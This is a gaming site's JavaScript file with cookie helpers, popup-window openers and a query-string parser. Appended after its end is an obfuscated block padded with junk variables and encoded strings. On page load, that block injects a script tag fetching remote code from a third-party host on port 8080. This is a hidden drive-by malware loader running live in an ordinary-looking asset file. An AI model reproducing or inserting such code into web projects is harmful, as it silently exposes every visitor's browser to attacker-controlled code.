function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name) {
	createCookie(name,"",-1);
}

function childclosedcheck (childid, intervalid) {
	if (childid && childid.closed) {
		clearInterval(intervalid);
		window.location.reload(true);
	}
}

function childclosedcheckLogin (childid, intervalid, url) {
	if (childid && childid.closed) {
		clearInterval(intervalid);
		window.location = url;
	}
}

function childclosedcheckpop (childid, intervalid) {
	if (childid && childid.closed) {
		clearInterval(intervalid);
		window.location='index.html';
	}
}
function openwindow(a)
{
	var params = "location=0,menubar=0,toolbar=0,resizable=1,width=635,height=600,scrollbars=yes";
	if (a.match("https://games.tgngames.net/paas/plk/registeruser.action")) {
	  params="location=0,menubar=0,toolbar=0,resizable=1,width=635,height="+screen.height+",scrollbars=yes";
	  var tracking = readCookie("C");
	  if( readCookie("winbreferral") != null )
	  {
	  	var referral = "&referral="+readCookie("winbreferral");
	  }
	  else
	  {
	  	referral = "";
	  }

	  a = "https://games.tgngames.net/paas/plk/registeruser.action?C="+tracking+referral;
	}
	if (a.indexOf('login.action') > 0) params="location=0,menubar=0,toolbar=0,resizable=1,width=635,height=400,scrollbars=yes";
	if (a.indexOf('gameslobby.action') > 0) {params = "location=0,menubar=0,toolbar=0,resizable=1,width=760,height=560,scrollbars=no";}
	if (a.indexOf('type=PT') > 0) {params = "location=0,menubar=0,toolbar=0,resizable=1,width=428,height=540,scrollbars=no";}
	if (a.indexOf('logoff.action') > 0 || a.indexOf('forgotpassword.action') > 0) {params = "location=0,menubar=0,toolbar=0,resizable=1,width=635,height=350,scrollbars=no";}
	if (a.indexOf('listbingo2.action') > 0) {
		myHeight = (screen.height) ? (screen.height-145) : 0;
                myWidth = myHeight * 4 / 3;
                params = "location=0,menubar=0,toolbar=0,resizable=1,width="+myWidth+",height="+myHeight+",scrollbars=no";
	}
	var n=new Date();
  childid = window.open(pageTracker._getLinkerUrl(a),"newWin"+n.getTime(), params);
        //childid.document.location = pageTracker._getLinkerUrl(a);
        intervalid = setInterval("childclosedcheck(childid, intervalid)", 500);
}

function openregister(a)
{
	var params="location=0,menubar=0,toolbar=0,resizable=1,width=635,height="+screen.height+",scrollbars=yes";
	childid = window.open(pageTracker._getLinkerUrl(a),"Register", params);
}

function openLogin(form)

{

        loginWindowId = window.open('', 'Winbonanza_Login', 'location=0,menubar=0,toolbar=0,resizable=0,width=635,height=400,scrollbars=yes');

	form.target = 'Winbonanza_Login';

 	pageTracker._linkByPost(form);

	loginWindowId.focus();

	intervalid = setInterval("childclosedcheck(loginWindowId, intervalid)", 500);

	return false;

}
function createRequestObject() {
  FORM_DATA = new Object();
    // The Object ("Array") where our data will be stored.
  separator = ',';
    // The token used to separate data from multi-select inputs
  query = '' + this.location;
  qu = query
    // Get the current URL so we can parse out the data.
    // Adding a null-string '' forces an implicit type cast
    // from property to string, for NS2 compatibility.
  query = query.substring((query.indexOf('?')) + 1);
    // Keep everything after the question mark '?'.
  if (query.length < 1) { return false; }  // Perhaps we got some bad data?
  keypairs = new Object();
  numKP = 1;
    // Local vars used to store and keep track of name/value pairs
    // as we parse them back into a usable form.
  while (query.indexOf('&') > -1) {
    keypairs[numKP] = query.substring(0,query.indexOf('&'));
    query = query.substring((query.indexOf('&')) + 1);
    numKP++;
      // Split the query string at each '&', storing the left-hand side
      // of the split in a new keypairs[] holder, and chopping the query
      // so that it gets the value of the right-hand string.
  }
  keypairs[numKP] = query;
    // Store what's left in the query string as the final keypairs[] data.<
  for (i in keypairs) {
    keyName = keypairs[i].substring(0,keypairs[i].indexOf('='));
      // Left of '=' is name.
    keyValue = keypairs[i].substring((keypairs[i].indexOf('=')) + 1);
      // Right of '=' is value.
    while (keyValue.indexOf('+') > -1) {
      keyValue = keyValue.substring(0,keyValue.indexOf('+')) + ' ' + keyValue.substring(keyValue.indexOf('+') + 1);
        // Replace each '+' in data string with a space.
    }
    keyValue = unescape(keyValue);
      // Unescape non-alphanumerics
    if (FORM_DATA[keyName]) {
      FORM_DATA[keyName] = FORM_DATA[keyName] + separator + keyValue;
        // Object already exists, it is probably a multi-select input,
        // and we need to generate a separator-delimited string
        // by appending to what we already have stored.
    } else {
      FORM_DATA[keyName] = keyValue;
        // Normal case: name gets value.
    }
  }
  return FORM_DATA;
}
FORM_DATA = createRequestObject();
  // This is the array/object containing the GET data.
  // Retrieve information with 'FORM_DATA [ key ] = value'.


// -->


var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();